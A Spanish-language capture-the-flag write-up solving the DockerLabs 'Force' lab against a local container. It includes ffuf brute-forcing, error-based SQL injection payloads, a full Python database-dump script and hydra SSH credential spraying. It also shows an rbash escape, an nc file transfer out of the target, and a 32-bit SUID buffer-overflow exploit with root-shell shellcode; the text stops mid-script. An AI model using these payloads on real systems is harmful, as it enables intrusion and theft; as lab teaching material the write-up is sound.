October 9, 2026
DockerLabs Writeup — Force (Spanish)
A continuación, describo la guía de resolución del laboratorio de DockerLabs denominado “Force”.

By David Prieto Montero (a.k.a Pyth0nK1d)
19 min read
Este laboratorio está catalogado con la dificultad "Difícil" y su autor es "kvzlx".
ATENCIÓN
Las herramientas y técnicas utilizadas en la resolución de este laboratorio han sido ejecutadas en un entorno controlado. El autor de esta publicación no se hace responsable del mal uso que se haga de estas, ya que el objetivo final de esta publicación es transmitir conocimientos con fines éticos y educativos.
Resumen de contenido sobre este laboratorio
Tags: Análisis de binario (Binary Analysis), Contraseña débil, Desbordamiento de búfer (Buffer Overflow), Divulgación de información, Enumeración de usuarios (User enumeration),Escape de intérprete restringido (Restricted shell escape), Inyecciones SQL (SQL Injection), Set User ID (SUID)
Antes de comenzar, se indica un resumen de contenido que se puede encontrar en esta guía:
- Encadenamiento de vulnerabilidades presentes en la aplicación web llevan al descubrimiento de unas credenciales que permiten realizar el acceso inicial al sistema objetivo a través del servicio SSH como el usuario
ttttt. Además, es posible escapar de un intérprete restringido ("rbash") impuesto para este usuario, permitiendo así un acceso convencional al sistema. - **Un binario con el bit SUID habilitado presenta una vulnerabilidad de **buffer overflow permite acceder al contexto del usuario
rootdirectamente. - Identificación y enumeración de recursos adicionales tanto manualmente como de forma automatizada que se realizan durante la explotación de vulnerabilidades detectadas y como extra al final de esta publicación.
Reconocimiento inicial
Se inicia el reconocimiento mediante un ping a la máquina. Esto se hace por un lado para detectar que la máquina se encuentra accesible y por otro lado para poder detectar el sistema operativo mediante el TTL asignado.
ping -c 1 172.17.0.2ping -c 1 172.17.0.2
Se puede comprobar que el TTL asignado es 64, indicando que la máquina está accesible directamente sin ningún nodo intermediario y por otro lado que el sistema subyacente es GNU/Linux.
Una vez hecho esto, se realiza un reconocimiento de los servicios disponibles en dos fases. En la primera, se realiza un escaneo de todos los puertos TCP usando nmap para detectar en primera instancia cuales de ellos son accesibles (open), utilizando un escaneo TCP SYN.
sudo nmap -sS -p- --min-rate 1000 -n -Pn 172.17.0.2 -oN allPortssudo nmap -sS -p- --min-rate 1000 -n -Pn 172.17.0.2 -oN allPorts
En la segunda, se realiza un reconocimiento básico de los servicios subyacentes también mediante el uso de nmap. Esta vez, realizando dicha tarea de reconocimiento únicamente en los puertos detectados como abiertos.
nmap -sCV -p 22,80 -n -Pn 172.17.0.2 -oN servicesnmap -sCV -p 22,80 -n -Pn 172.17.0.2 -oN services
En este caso, se omite el escaneo de puertos UDP, ya que para esta máquina en particular no tiene ningún servicio relevante para llevar a cabo el ejercicio.
Acceso inicial (ttttt)
En este caso se detecta que hay dos puertos abiertos:
- Puerto 22 (servicio SSH, OpenSSH)
- Puerto 80 (servicio HTTP, Apache httpd)
Al revisar el puerto 80, se muestra nada más acceder un pop-up donde parece mostrar la nueva política de contraseñas definida.
URL -> http://172.17.0.2URL -> http://172.17.0.2
Al cerrarlo, se muestra un formulario de login.
URL -> http://172.17.0.2URL -> http://172.17.0.2
Al introducir cualquier usuario y contraseña, se obtiene un mensaje "User does not exist", lo que parece significar que potencialmente es posible enumerar usuarios existentes, haciendo a esta funcionalidad vulnerable a enumeración de usuarios (user enumeration).
Username: Pyth0nK1d
Password: Pyth0nK1d
...
Alert: User does not existUsername: Pyth0nK1d
Password: Pyth0nK1d
...
Alert: User does not exist
Tras realizar fuzzing sobre el campo "username", se termina detectando un usuario válido denominado "admin".
ffuf -u "http://172.17.0.2/login.php" -d "username=FUZZ&password=Pyth0nK1d" -w "/usr/share/seclists/Usernames/top-usernames-shortlist.txt" -H "Content-Type: application/x-www-form-urlencoded" -t 64 -fs 83ffuf -u "http://172.17.0.2/login.php" -d "username=FUZZ&password=Pyth0nK1d" -w "/usr/share/seclists/Usernames/top-usernames-shortlist.txt" -H "Content-Type: application/x-www-form-urlencoded" -t 64 -fs 83
Al conocer la política de contraseñas aplicada, se genera una nueva lista de contraseñas, extrayendo de rockyou las contraseñas que cumplan con esta política exclusivamente.
awk '/[A-Z]/ && /[a-z]/ && /[0-9]/ && length($0) >= 10 {print}' /usr/share/wordlists/rockyou.txt > policy_compliant_passwords.txt
cat policy_compliant_passwords.txt | wc -lawk '/[A-Z]/ && /[a-z]/ && /[0-9]/ && length($0) >= 10 {print}' /usr/share/wordlists/rockyou.txt > policy_compliant_passwords.txt
cat policy_compliant_passwords.txt | wc -l
Con esta nueva lista y al no haber rate limiting aplicado, se realiza un ataque de diccionario sobre el usuario "admin", para el cual se consigue detectar la contraseña asociada.
ffuf -u "http://172.17.0.2/login.php" -d "username=admin&password=FUZZ" -w "./policy_compliant_passwords.txt" -H "Content-Type: application/x-www-form-urlencoded" -t 64 -fs 95ffuf -u "http://172.17.0.2/login.php" -d "username=admin&password=FUZZ" -w "./policy_compliant_passwords.txt" -H "Content-Type: application/x-www-form-urlencoded" -t 64 -fs 95
Con las credenciales descubiertas, es posible utilizar el formulario para iniciar sesión. Esto permite acceder desde una perspectiva autenticada a una funcionalidad para crear notas.
Username: admin
Password: <RECORTADO>
URL -> http://172.17.0.2/app.phpUsername: admin
Password: <RECORTADO>
URL -> http://172.17.0.2/app.php
Al probar a crear notas introduciendo caracteres especiales, se obtiene un mensaje de error de SQL, dando a entender que es vulnerable a inyecciones SQL (SQL Injection).
New Note: 'New Note: '
Después de probar varias cargas útiles, se detecta que tras adaptar de cierta forma alguna de ellas ha sido posible obtener el nombre de la base de datos utilizada por la aplicación reflejado en el mensaje de error devuelto.
Referencia (SQL Injection - Error-based payloads): https://github.com/justdsn/SQLiPayloads#-error-based-sqli-payloads
Carga útil: note=Pyth0nK1d' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()))) AND '1
Respuesta: ... ~hacklab ...Referencia (SQL Injection - Error-based payloads): https://github.com/justdsn/SQLiPayloads#-error-based-sqli-payloads
Carga útil: note=Pyth0nK1d' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()))) AND '1
Respuesta: ... ~hacklab ...
Al intentar múltiples campos para extraer información adicional este muestra un error indicando que se espera una única columna. Esto significa que la extracción de información debe hacerse columna a columna.
Carga útil: note=Pyth0nK1d' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT 1,2,3,4))) AND '1
Error: Uncaught mysqli_sql_exception: Operand should contain 1 column(s) in /var/www/html/app.php:32Carga útil: note=Pyth0nK1d' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT 1,2,3,4))) AND '1
Error: Uncaught mysqli_sql_exception: Operand should contain 1 column(s) in /var/www/html/app.php:32
Para automatizar este proceso, se desarrolla un script en Python para enumerar y extraer la información de las bases de datos existentes.
El script desarrollado es el siguiente:
# sqli_dbexplorer.py
#!/usr/bin/python3
import requests
import re
from urllib.parse import quote
class DBExplorer:
"""Clase de explorador que aprovecha el iterador para la extracción de datos"""
def __init__(self, url, cookies):
self.url = url
self.cookies = cookies
self.session = requests.Session()
self.session.cookies.update(cookies)
self.headers = {'Content-Type': 'application/x-www-form-urlencoded'}
def send_payload(self, payload):
"""Enviar payload y devolver respuesta"""
data = {'note': payload}
response = self.session.post(self.url, headers=self.headers, data=data)
return response.text
def extract_from_error(self, response):
"""Extraer el dato reflejado en el mensaje de error SQL"""
match = re.search(r"XPATH syntax error: '~([^']+)'", response)
return match.group(1) if match else None
def _create_iterator(self, query, is_row=False):
"""Crear un iterador con la consulta especificada"""
return DBIterator(self, query, is_row)
def databases(self):
"""Devuelve un iterador sobre todas las bases de datos"""
return self._create_iterator("SELECT schema_name FROM information_schema.schemata")
def tables(self, database):
"""Devuelve un iterador sobre todas las tablas en una base de datos específica"""
return self._create_iterator(f"SELECT table_name FROM information_schema.tables WHERE table_schema='{database}'")
def columns(self, database, table):
"""Devuelve un iterador sobre todas las columnas de una tabla específica"""
return self._create_iterator(f"SELECT column_name FROM information_schema.columns WHERE table_schema='{database}' AND table_name='{table}'")
def rows(self, database, table, columns=None):
"""Devuelve un iterador sobre todas las filas de una tabla específica, creando un formato específico basado en sus columnas para extraer los datos que contiene"""
if columns is None:
columns = list(self.columns(database, table))
columns_str = ", ".join(columns)
return self._create_iterator(f"SELECT CONCAT_WS('|',{columns_str}) FROM {database}.{table}", is_row=True)
def explore_database(self, database):
"""Explora una base de datos y devuelve su estructura y datos"""
db_structure = {'name': database, 'tables': {}}
for table in self.tables(database):
print(f"[*] Explorando tabla: {table}")
columns = list(self.columns(database, table))
rows = list(self.rows(database, table, columns))
db_structure['tables'][table] = {
'columns': columns,
'data': rows
}
print(f"[+] Encontradas {len(rows)} filas en tabla {table}")
return db_structure
def save_to_file(self, data, filename):
"""Guarda los datos extraídos en un archivo"""
try:
with open(filename, 'w') as f:
for db_name, db_content in data.items():
f.write(f"Base de datos: {db_name}\n")
f.write("=" * 50 + "\n\n")
for table_name, table_content in db_content['tables'].items():
f.write(f"Tabla: {table_name}\n")
f.write("-" * 30 + "\n")
# Escribir encabezados de columna
f.write(" | ".join(table_content['columns']) + "\n")
# Escribir filas de datos
for row in table_content['data']:
f.write(" | ".join(row) + "\n")
f.write("\n")
f.write("\n")
finally:
f.close()
class DBIterator:
"""Clase de iterador unificado para todas las operaciones de inyección SQL"""
# Inicializa el objeto iterador
def __init__(self, explorer, query, is_row=False):
self.explorer = explorer
self.query = query
self.offset = 0
self.current_item = None
self.is_row = is_row
# Método para devolver el iterador
def __iter__(self):
return self
# Método para devolver el siguiente elemento de la secuencia
def __next__(self):
while True:
# Utilizar el payload probado utilizando la consulta específica para solicitar y extraer el siguiente elemento
payload = f"Pyth0nK1d' AND EXTRACTVALUE(1,CONCAT(0x7e,({self.query} LIMIT 1 OFFSET {self.offset}))) AND '1"
response = self.explorer.send_payload(payload)
item = self.explorer.extract_from_error(response)
# Si no hay más elementos, fin de la secuencia
if not item:
raise StopIteration
# Actualizar el offset para acceder al siguiente elemento
self.offset += 1
# Omitir si ya se ha obtenido este elemento
if item != self.current_item:
self.current_item = item
# Manejo especial para iterador de filas para dividir valores concatenados
return item.split('|') if self.is_row else item
# Ejecución del método principal
if __name__ == "__main__":
import argparse
import sys
# Configuración mínima del explorador
url = "http://172.17.0.2/app.php"
cookies = {"PHPSESSID": "MI_COOKIE_AQUI"}
# Crear analizador para argumentos
parser = argparse.ArgumentParser(description='Extractor de Base de Datos mediante SQLi')
parser.add_argument('--database', '-d', type=str, required=False, help='Base de datos a explorar (obligatorio, aunque no proporcionarlo lista las bases de datos disponibles)')
parser.add_argument('--output', '-o', type=str, default=None, help='Nombre del archivo de salida (opcional)')
args = parser.parse_args()
try:
# Crear instancia del explorador
explorer = DBExplorer(url, cookies)
# Obtener la lista de bases de datos iterando a través del iterador
databases = list(explorer.databases())
# Si no hay bases de datos, mostrar un mensaje de error y salir
if not databases:
print("Error: No se encontraron bases de datos.")
sys.exit(1)
# Verificar si la base de datos especificada existe
if args.database not in databases:
if args.database is not None:
print(f"Error: Base de datos '{args.database}' no encontrada.")
print("Bases de datos disponibles:")
for db in databases:
print(f"- {db}")
sys.exit(1)
# Establecer nombre de archivo de salida
output_file = args.output if args.output else f"{args.database}_dump.txt"
# Explorar la base de datos especificada
print(f"\n=== Explorando base de datos: {args.database} ===")
database_data = explorer.explore_database(args.database)
all_data = {args.database: database_data}
# Guardar los datos extraídos en un archivo
explorer.save_to_file(all_data, output_file)
print(f"\n[*] Volcado de base de datos completado. Resultados guardados en {output_file}")
except Exception as e:
print(f"Error durante la exploración de la base de datos: {e}")
sys.exit(1)# sqli_dbexplorer.py
#!/usr/bin/python3
import requests
import re
from urllib.parse import quote
class DBExplorer:
"""Clase de explorador que aprovecha el iterador para la extracción de datos"""
def __init__(self, url, cookies):
self.url = url
self.cookies = cookies
self.session = requests.Session()
self.session.cookies.update(cookies)
self.headers = {'Content-Type': 'application/x-www-form-urlencoded'}
def send_payload(self, payload):
"""Enviar payload y devolver respuesta"""
data = {'note': payload}
response = self.session.post(self.url, headers=self.headers, data=data)
return response.text
def extract_from_error(self, response):
"""Extraer el dato reflejado en el mensaje de error SQL"""
match = re.search(r"XPATH syntax error: '~([^']+)'", response)
return match.group(1) if match else None
def _create_iterator(self, query, is_row=False):
"""Crear un iterador con la consulta especificada"""
return DBIterator(self, query, is_row)
def databases(self):
"""Devuelve un iterador sobre todas las bases de datos"""
return self._create_iterator("SELECT schema_name FROM information_schema.schemata")
def tables(self, database):
"""Devuelve un iterador sobre todas las tablas en una base de datos específica"""
return self._create_iterator(f"SELECT table_name FROM information_schema.tables WHERE table_schema='{database}'")
def columns(self, database, table):
"""Devuelve un iterador sobre todas las columnas de una tabla específica"""
return self._create_iterator(f"SELECT column_name FROM information_schema.columns WHERE table_schema='{database}' AND table_name='{table}'")
def rows(self, database, table, columns=None):
"""Devuelve un iterador sobre todas las filas de una tabla específica, creando un formato específico basado en sus columnas para extraer los datos que contiene"""
if columns is None:
columns = list(self.columns(database, table))
columns_str = ", ".join(columns)
return self._create_iterator(f"SELECT CONCAT_WS('|',{columns_str}) FROM {database}.{table}", is_row=True)
def explore_database(self, database):
"""Explora una base de datos y devuelve su estructura y datos"""
db_structure = {'name': database, 'tables': {}}
for table in self.tables(database):
print(f"[*] Explorando tabla: {table}")
columns = list(self.columns(database, table))
rows = list(self.rows(database, table, columns))
db_structure['tables'][table] = {
'columns': columns,
'data': rows
}
print(f"[+] Encontradas {len(rows)} filas en tabla {table}")
return db_structure
def save_to_file(self, data, filename):
"""Guarda los datos extraídos en un archivo"""
try:
with open(filename, 'w') as f:
for db_name, db_content in data.items():
f.write(f"Base de datos: {db_name}\n")
f.write("=" * 50 + "\n\n")
for table_name, table_content in db_content['tables'].items():
f.write(f"Tabla: {table_name}\n")
f.write("-" * 30 + "\n")
# Escribir encabezados de columna
f.write(" | ".join(table_content['columns']) + "\n")
# Escribir filas de datos
for row in table_content['data']:
f.write(" | ".join(row) + "\n")
f.write("\n")
f.write("\n")
finally:
f.close()
class DBIterator:
"""Clase de iterador unificado para todas las operaciones de inyección SQL"""
# Inicializa el objeto iterador
def __init__(self, explorer, query, is_row=False):
self.explorer = explorer
self.query = query
self.offset = 0
self.current_item = None
self.is_row = is_row
# Método para devolver el iterador
def __iter__(self):
return self
# Método para devolver el siguiente elemento de la secuencia
def __next__(self):
while True:
# Utilizar el payload probado utilizando la consulta específica para solicitar y extraer el siguiente elemento
payload = f"Pyth0nK1d' AND EXTRACTVALUE(1,CONCAT(0x7e,({self.query} LIMIT 1 OFFSET {self.offset}))) AND '1"
response = self.explorer.send_payload(payload)
item = self.explorer.extract_from_error(response)
# Si no hay más elementos, fin de la secuencia
if not item:
raise StopIteration
# Actualizar el offset para acceder al siguiente elemento
self.offset += 1
# Omitir si ya se ha obtenido este elemento
if item != self.current_item:
self.current_item = item
# Manejo especial para iterador de filas para dividir valores concatenados
return item.split('|') if self.is_row else item
# Ejecución del método principal
if __name__ == "__main__":
import argparse
import sys
# Configuración mínima del explorador
url = "http://172.17.0.2/app.php"
cookies = {"PHPSESSID": "MI_COOKIE_AQUI"}
# Crear analizador para argumentos
parser = argparse.ArgumentParser(description='Extractor de Base de Datos mediante SQLi')
parser.add_argument('--database', '-d', type=str, required=False, help='Base de datos a explorar (obligatorio, aunque no proporcionarlo lista las bases de datos disponibles)')
parser.add_argument('--output', '-o', type=str, default=None, help='Nombre del archivo de salida (opcional)')
args = parser.parse_args()
try:
# Crear instancia del explorador
explorer = DBExplorer(url, cookies)
# Obtener la lista de bases de datos iterando a través del iterador
databases = list(explorer.databases())
# Si no hay bases de datos, mostrar un mensaje de error y salir
if not databases:
print("Error: No se encontraron bases de datos.")
sys.exit(1)
# Verificar si la base de datos especificada existe
if args.database not in databases:
if args.database is not None:
print(f"Error: Base de datos '{args.database}' no encontrada.")
print("Bases de datos disponibles:")
for db in databases:
print(f"- {db}")
sys.exit(1)
# Establecer nombre de archivo de salida
output_file = args.output if args.output else f"{args.database}_dump.txt"
# Explorar la base de datos especificada
print(f"\n=== Explorando base de datos: {args.database} ===")
database_data = explorer.explore_database(args.database)
all_data = {args.database: database_data}
# Guardar los datos extraídos en un archivo
explorer.save_to_file(all_data, output_file)
print(f"\n[*] Volcado de base de datos completado. Resultados guardados en {output_file}")
except Exception as e:
print(f"Error durante la exploración de la base de datos: {e}")
sys.exit(1)Una vez adaptado adecuadamente y ejecutado, se selecciona la base de datos utilizada por la aplicación para que extraiga toda su información de una forma estructurada a un archivo de texto aprovechando la vulnerabilidad encontrada.
En este archivo resultante, se detecta una tabla de usuarios con nombres de usuarios y contraseñas en texto plano.
python3 sqli_dbexplorer.py -h
python3 sqli_dbexplorer.py
python3 sqli_dbexplorer.py -d hacklab
cat hacklab_dump.txt | tail -n 8python3 sqli_dbexplorer.py -h
python3 sqli_dbexplorer.py
python3 sqli_dbexplorer.py -d hacklab
cat hacklab_dump.txt | tail -n 8
En este punto se prepara una combo list o credential list para probar estas combinaciones contra el servicio SSH. Tras probar, se detectan credenciales válidas que permiten el acceso a través del servicio SSH.
mousepad creds.txt -> (pegar y guardar las credenciales encontradas)
hydra -C creds.txt ssh://172.17.0.2 -I -f -t 4mousepad creds.txt -> (pegar y guardar las credenciales encontradas)
hydra -C creds.txt ssh://172.17.0.2 -I -f -t 4
Gracias a este descubrimiento, es posible realizar el acceso inicial al sistema como el usuario "ttttt" a través del servicio SSH. Sin embargo, el acceso termina en una "rbash" o "restricted shell" que limita los comandos a utilizar desde esta sesión.
ssh ttttt@172.17.0.2
yes (aceptar conexión sin comprobar autenticidad)
<introducir la contraseña descubierta>
whoami
-rbash: whoami: command not found
id
-rbash: id: command not found
hostname
-rbash: hostname: command not found
ls
-rbash: ls: command not foundssh ttttt@172.17.0.2
yes (aceptar conexión sin comprobar autenticidad)
<introducir la contraseña descubierta>
whoami
-rbash: whoami: command not found
id
-rbash: id: command not found
hostname
-rbash: hostname: command not found
ls
-rbash: ls: command not found
Se prueba a acceder solicitando un interprete "sh". De esta forma se consigue escapar de esta "rbash" y es posible interactuar de forma normal con el sistema desde una sesión SSH.
exit
ssh ttttt@172.17.0.2 -t "sh"
<introducir la contraseña descubierta>
whoami
id
hostnameexit
ssh ttttt@172.17.0.2 -t "sh"
<introducir la contraseña descubierta>
whoami
id
hostname
Escalada de privilegios (ttttt -> root)
Al enumerar el sistema, se detecta un binario con el bit SUID habilitado dentro del directorio principal del usuario.
cd bf
ls -al
file vulncd bf
ls -al
file vuln
Para analizarlo más en detalle, se transfiere este a la máquina de trabajo. Para hacer esto, se pone un puerto a la escucha en la máquina de trabajo donde se va a transferir el archivo.
nc -l -p 9000 > vulnnc -l -p 9000 > vuln
A continuación, desde la máquina objetivo como el usuario "ttttt" se transfiere el archivo a través de ese puerto definido.
which nc
nc 172.17.0.1 9000 < /home/ttttt/bf/vulnwhich nc
nc 172.17.0.1 9000 < /home/ttttt/bf/vuln
Tras esperar un poco, se puede comprobar que el archivo ha sido transferido y que consiste en un binario ejecutable en formato ELF de arquitectura 32 ****bits.
CTRL+C (cerrar el puerto a la escucha)
ls -al vuln
file vulnCTRL+C (cerrar el puerto a la escucha)
ls -al vuln
file vuln
Paso 1 — Identificación del componente vulnerable a Buffer Overflow
Al analizar este binario con Ghidra, se puede comprobar que la función main ejecuta a su vez una función denominada "vulnerable_function" que parece requerir un argumento obligatorio.
Al revisar la función "vulnerable_function" se detecta un buffer local denominado "local_4c" de **68 **bytes de tamaño y se copia la información facilitada por argumento dentro de este mediante la función "strcpy()".
Como la función "strcpy()" no comprueba el tamaño del contenido introducido, esto puede provocar un buffer overflow si la entrada supera el tamaño esperado por el buffer.
Paso 2 — Explotación local de la vulnerabilidad
Para poder depurar correctamente este binario, se inicia utilizando la herramienta "gdb". Sin embargo, termina al instante ya que requiere un argumento obligatorio.
chmod +x vuln
gdb ./vulnchmod +x vuln
gdb ./vuln
Para probar los limites de la entrada de texto libre ofrecida, primero se va a generar un patrón con una longitud determinada.
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 400/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 400
En este punto, se le asigna el valor generado como argumento y se restablece el binario sin salir de la herramienta "gdb".
Al facilitar este patrón como argumento, se puede apreciar que arroja un error "Segmentation fault", y "gdb" indica una dirección almacenada en el registro EIP.
(gdb) set args
(gdb) r
...
Program received signal SIGSEGV, Segmentation fault.
0x63413563 in ?? ()(gdb) set args
(gdb) r
...
Program received signal SIGSEGV, Segmentation fault.
0x63413563 in ?? ()
Conociendo el valor con el que se ha sobrescrito el registro EIP, es posible saber el offset (distancia en bytes desde el inicio del búfer hasta la dirección almacenada en el registro EIP) a utilizar para llegar hasta esa longitud. En este caso se obtiene que el offset es 76.
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x63413563
...
[*] Exact match at offset 76/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x63413563
...
[*] Exact match at offset 76
Con el objetivo de facilitar tanto las pruebas como la propia explotación de la vulnerabilidad, se desarrolla un script en Python. En este caso, se encuentra adaptado para el siguiente paso, que es comprobar que se sobrescribe el registro EIP con el valor elegido.
En resumen, este script se encarga de construir la carga útil y mandarla a través del argumento obligatorio del binario vulnerable utilizando "gdb".
# bof.py
#!/usr/bin/python3
import os
payload = b"\x90" * 76 + b"P" * 4
# Base del exploit
exploit = b"gdb --args ./vuln '{payload}'"
# Remplazar el contenido antes de enviarlo
exploit = exploit.replace(b"{payload}", payload)
# Ejecutar el exploit
os.system(exploit)# bof.py
#!/usr/bin/python3
import os
payload = b"\x90" * 76 + b"P" * 4
# Base del exploit
exploit = b"gdb --args ./vuln '{payload}'"
# Remplazar el contenido antes de enviarlo
exploit = exploit.replace(b"{payload}", payload)
# Ejecutar el exploit
os.system(exploit)A continuación, se ejecuta el script para que inicie "gdb" y ejecute el binario con la carga útil esperada como argumento.
Al revisar "gdb", se puede apreciar que la dirección almacenada en el registro EIP es remplazada por los 4 bytes especificados en la cadena provista, lo que confirma que el offset elegido es correcto y que esta dirección es personalizable.
mousepad bof.py -> (pegar y guardar el script)
python3 bof.pymousepad bof.py -> (pegar y guardar el script)
python3 bof.py
Una vez visto que el script está funcionando como se esperaba, se modifica para incluir los elementos necesarios en la siguiente fase de la explotación: definir una resbaladilla de NOPs (también conocido "NOP sled") y el código de shell (también conocido como "shellcode").
En resumen, el código de shell o shellcode es un pequeño fragmento de código o comandos que se utiliza en la explotación de vulnerabilidades como buffer overflow para ejecutar instrucciones personalizadas directamente en la memoria de un sistema, mientras que una NOP sled es una serie de instrucciones NOP que se colocan antes del código de shell (shellcode).
El propósito de una NOP sled es aumentar la probabilidad de que el flujo de ejecución caiga dentro del ****shellcode, incluso si la dirección exacta no se conoce con precisión.
El problema a la hora de definir esta dirección de memoria es que no siempre se conoce la dirección exacta del shellcode en la pila y un pequeño error en la dirección puede hacer que no lo llegue a ejecutar.
Por eso, el NOP sled actúa como una especie de "zona de aterrizaje segura". De esta forma, si el registro EIP apunta a cualquier parte del NOP sled, el procesador ejecutará NOPs hasta llegar al shellcode, haciendo que amplíe el rango de direcciones válidas para que las probabilidades de que la explotación funcione aumenten.
Una vez conocidos los detalles y entendiendo lo que se incluye, se prueba a añadir en la carga útil del exploit un NOP sled de 150 NOPs y una shellcode compatible que se encargue de abrir una consola interactiva.
La dirección definida para el registro EIP no se modifica aún, ya que primero se debe conocer en que direcciones de memoria se define el NOP sled para saber cual definir.
# bof.py
#!/usr/bin/python3
import os
nops = b"\x90" * 150
# Shellcode extraída de: https://shell-storm.org/shellcode/files/shellcode-606.html
shellcode = b"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70"
shellcode += b"\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61"
shellcode += b"\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52"
shellcode += b"\x51\x53\x89\xe1\xcd\x80"
payload = b"\x90" * 76 + b"P" * 4 + nops + shellcode
# Base del exploit
exploit = b"gdb --args ./vuln '{payload}'"
# Remplazar el contenido antes de enviarlo
exploit = exploit.replace(b"{payload}", payload)
# Ejecutar el exploit
os.system(exploit)# bof.py
#!/usr/bin/python3
import os
nops = b"\x90" * 150
# Shellcode extraída de: https://shell-storm.org/shellcode/files/shellcode-606.html
shellcode = b"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70"
shellcode += b"\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61"
shellcode += b"\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52"
shellcode += b"\x51\x53\x89\xe1\xcd\x80"
payload = b"\x90" * 76 + b"P" * 4 + nops + shellcode
# Base del exploit
exploit = b"gdb --args ./vuln '{payload}'"
# Remplazar el contenido antes de enviarlo
exploit = exploit.replace(b"{payload}", payload)
# Ejecutar el exploit
os.system(exploit)Una vez modificado el script, se vuelve a ejecutar para que mande la carga útil esperada.
python3 bof.py
...
Program received signal SIGSEGV, Segmentation fault.
0x50505050 in ?? ()python3 bof.py
...
Program received signal SIGSEGV, Segmentation fault.
0x50505050 in ?? ()
Al revisar "gdb", se puede apreciar que la dirección almacenada en el registro EIP es remplazada por los 4 bytes especificados en la cadena provista. Sin embargo, como esta vez se ha incluido el NOP sled, se va a comprobar en qué direcciones se encuentra junto al shellcode definido.
# Mostrar 300 palabras de memoria, comenzando desde la dirección almacenada en el registro ESP (Extended Stack Pointer)
# ESP: Registro que apunta a la cima de la pila en memoria que gestiona el flujo del programa y cambia según la instrucción ejecutada.
(gdb) x/300wx $esp
...
0xffffcd40: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcd50: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcd60: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcd70: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcd80: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcd90: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcda0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcdb0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcdc0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcdd0: 0x90909090 0x0b6a9090 0x66529958 0x89702d68
0xffffcde0: 0x686a52e1 0x61622f68 0x622f6873 0xe3896e69
0xffffcdf0: 0x89535152 0x0080cde1 0x00000000 0x56556087
0xffffce00: 0x565561cd 0x00000002 0xffffce24 0x00000000
0xffffce10: 0x00000000 0xf7fcbfa0 0xffffce1c 0x00000038
0xffffce20: 0x00000002 0xffffd004 0xffffd035 0x00000000
0xffffce30: 0xffffd13d 0xffffd152 0xffffd170 0xffffd182
0xffffce40: 0xffffd191 0xffffd1a6 0xffffd1b5 0xffffd1d3
0xffffce50: 0xffffd1e6 0xffffd1fb 0xffffd203 0xffffd229
0xffffce60: 0xffffd23e 0xffffd271 0xffffd292 0xffffd2b1
0xffffce70: 0xffffd2e5 0xffffd2fe 0xffffd334 0xffffd345
0xffffce80: 0xffffd359 0xffffd37c 0xffffd397 0xffffd3a9# Mostrar 300 palabras de memoria, comenzando desde la dirección almacenada en el registro ESP (Extended Stack Pointer)
# ESP: Registro que apunta a la cima de la pila en memoria que gestiona el flujo del programa y cambia según la instrucción ejecutada.
(gdb) x/300wx $esp
...
0xffffcd40: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcd50: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcd60: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcd70: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcd80: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcd90: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcda0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcdb0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcdc0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcdd0: 0x90909090 0x0b6a9090 0x66529958 0x89702d68
0xffffcde0: 0x686a52e1 0x61622f68 0x622f6873 0xe3896e69
0xffffcdf0: 0x89535152 0x0080cde1 0x00000000 0x56556087
0xffffce00: 0x565561cd 0x00000002 0xffffce24 0x00000000
0xffffce10: 0x00000000 0xf7fcbfa0 0xffffce1c 0x00000038
0xffffce20: 0x00000002 0xffffd004 0xffffd035 0x00000000
0xffffce30: 0xffffd13d 0xffffd152 0xffffd170 0xffffd182
0xffffce40: 0xffffd191 0xffffd1a6 0xffffd1b5 0xffffd1d3
0xffffce50: 0xffffd1e6 0xffffd1fb 0xffffd203 0xffffd229
0xffffce60: 0xffffd23e 0xffffd271 0xffffd292 0xffffd2b1
0xffffce70: 0xffffd2e5 0xffffd2fe 0xffffd334 0xffffd345
0xffffce80: 0xffffd359 0xffffd37c 0xffffd397 0xffffd3a9
Como se puede apreciar, la shellcode ha sido incluida justo en el medio del NOP sled, lo que deja un rango amplio para seleccionar una dirección adecuada para la explotación. En este caso, se prueba a seleccionar la dirección en la que se empieza a cargar la shellcode: "0xffffcdd0"
Por ello, tras conocer una posible dirección de memoria válida, se modifica en el script el valor que debe almacenar el registro EIP para que use esta, definiéndola en formato little-endian (byte menos significativo primero). Además, esta vez se adapta para que el binario se ejecute directamente en lugar de a través de "gdb".
# bof.py
#!/usr/bin/python3
import os
nops = b"\x90" * 150
# Shellcode extraída de: https://shell-storm.org/shellcode/files/shellcode-606.html
shellcode = b"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70"
shellcode += b"\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61"
shellcode += b"\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52"
shellcode += b"\x51\x53\x89\xe1\xcd\x80"
payload = b"\x90" * 76 + b"\xd0\xcd\xff\xff" + nops + shellcode
# Base del exploit
exploit = b"./vuln '{payload}'"
# Remplazar el contenido antes de enviarlo
exploit = exploit.replace(b"{payload}", payload)
# Ejecutar el exploit
